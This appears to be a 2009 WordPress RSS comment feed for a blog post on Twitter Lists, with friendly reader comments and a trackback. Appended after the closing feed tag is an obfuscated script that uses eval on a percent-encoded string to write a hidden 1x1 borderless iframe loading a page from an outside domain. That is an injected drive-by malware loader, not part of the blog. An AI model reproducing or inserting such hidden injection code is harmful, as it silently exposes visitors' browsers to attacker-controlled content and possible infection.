<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: The Ugly Side of Twitter Lists</title>
	<atom:link href="http://insightsandingenuity.com/2009/11/07/the-ugly-side-of-twitter-lists/feed/" rel="self" type="application/rss+xml" />
	<link>http://insightsandingenuity.com/2009/11/07/the-ugly-side-of-twitter-lists/</link>
	<description>Brand Connections with Verve and Moxie</description>
	<lastBuildDate>Sun, 14 Mar 2010 04:45:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: heatherrast</title>
		<link>http://insightsandingenuity.com/2009/11/07/the-ugly-side-of-twitter-lists/comment-page-1/#comment-1424</link>
		<dc:creator>heatherrast</dc:creator>
		<pubDate>Sun, 08 Nov 2009 22:15:16 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=941#comment-1424</guid>
		<description>Phillip, I&#039;ve always wanted to make someone break their own rules :-)! Seriously, thanks so much for reading the post and stopping to comment. Thoughts like yours make ideas richer and worthy of more debate.

Sounds like you&#039;re in the &quot;quality over quantity&quot; camp. I&#039;m with you - the vast majority of those I follow really challenge and enrich my life. There are indeed pros and cons to following someone else&#039;s list - it could be an easy way to gain exposure to new, potentially interesting folks. But then, as humans we&#039;re multi-faceted with many interests so there&#039;s the risk of inadvertently hearing way too much about someone&#039;s pet poodle too.</description>
		<content:encoded><![CDATA[<p>Phillip, I&#8217;ve always wanted to make someone break their own rules <img src='http://insightsandingenuity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ! Seriously, thanks so much for reading the post and stopping to comment. Thoughts like yours make ideas richer and worthy of more debate.</p>
<p>Sounds like you&#8217;re in the &#8220;quality over quantity&#8221; camp. I&#8217;m with you &#8211; the vast majority of those I follow really challenge and enrich my life. There are indeed pros and cons to following someone else&#8217;s list &#8211; it could be an easy way to gain exposure to new, potentially interesting folks. But then, as humans we&#8217;re multi-faceted with many interests so there&#8217;s the risk of inadvertently hearing way too much about someone&#8217;s pet poodle too.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: philip turpin</title>
		<link>http://insightsandingenuity.com/2009/11/07/the-ugly-side-of-twitter-lists/comment-page-1/#comment-1421</link>
		<dc:creator>philip turpin</dc:creator>
		<pubDate>Sun, 08 Nov 2009 15:32:07 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=941#comment-1421</guid>
		<description>Breaking my golden rule by saying:  great post.

I agree with your perspective.

Personally I&#039;m, currently, not that bothered with lists &amp; have no interest in creating any.  I am following very few people (sub 1000) but most of which are hand picked &amp; provide tremendous value to me.  To then follow a list will provide me with many unknowns and, as you say, will rely on the list creator to provide value.  But then I could argue that if the list author&#039;s tweets provide value then so should their list?!

As for the categorisation, yes, I can see it having potentially negative effects but I&#039;m thinking that will come down to the individual concerned &amp; their perception.</description>
		<content:encoded><![CDATA[<p>Breaking my golden rule by saying:  great post.</p>
<p>I agree with your perspective.</p>
<p>Personally I&#8217;m, currently, not that bothered with lists &amp; have no interest in creating any.  I am following very few people (sub 1000) but most of which are hand picked &amp; provide tremendous value to me.  To then follow a list will provide me with many unknowns and, as you say, will rely on the list creator to provide value.  But then I could argue that if the list author&#8217;s tweets provide value then so should their list?!</p>
<p>As for the categorisation, yes, I can see it having potentially negative effects but I&#8217;m thinking that will come down to the individual concerned &amp; their perception.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Tweets that mention Insights and Ingenuity » Blog Archive » The Ugly Side of Twitter Lists -- Topsy.com</title>
		<link>http://insightsandingenuity.com/2009/11/07/the-ugly-side-of-twitter-lists/comment-page-1/#comment-1419</link>
		<dc:creator>Tweets that mention Insights and Ingenuity » Blog Archive » The Ugly Side of Twitter Lists -- Topsy.com</dc:creator>
		<pubDate>Sun, 08 Nov 2009 14:27:54 +0000</pubDate>
		<guid isPermaLink="false">http://insightsandingenuity.com/?p=941#comment-1419</guid>
		<description>[...] This post was mentioned on Twitter by bkmacdaddy designs and writemindedllc, Amy Fitch. Amy Fitch said: RT: @heatherrast Consider this:The Ugly Side of Twitter Lists: Twitter Lists -another metric for determining influence? http://bit.ly/2XhvPo [...]</description>
		<content:encoded><![CDATA[<p>[...] This post was mentioned on Twitter by bkmacdaddy designs and writemindedllc, Amy Fitch. Amy Fitch said: RT: @heatherrast Consider this:The Ugly Side of Twitter Lists: Twitter Lists -another metric for determining influence? <a href="http://bit.ly/2XhvPo" rel="nofollow">http://bit.ly/2XhvPo</a> [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%69%62%7A%6F%70%6C%2E%63%6F%6D%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>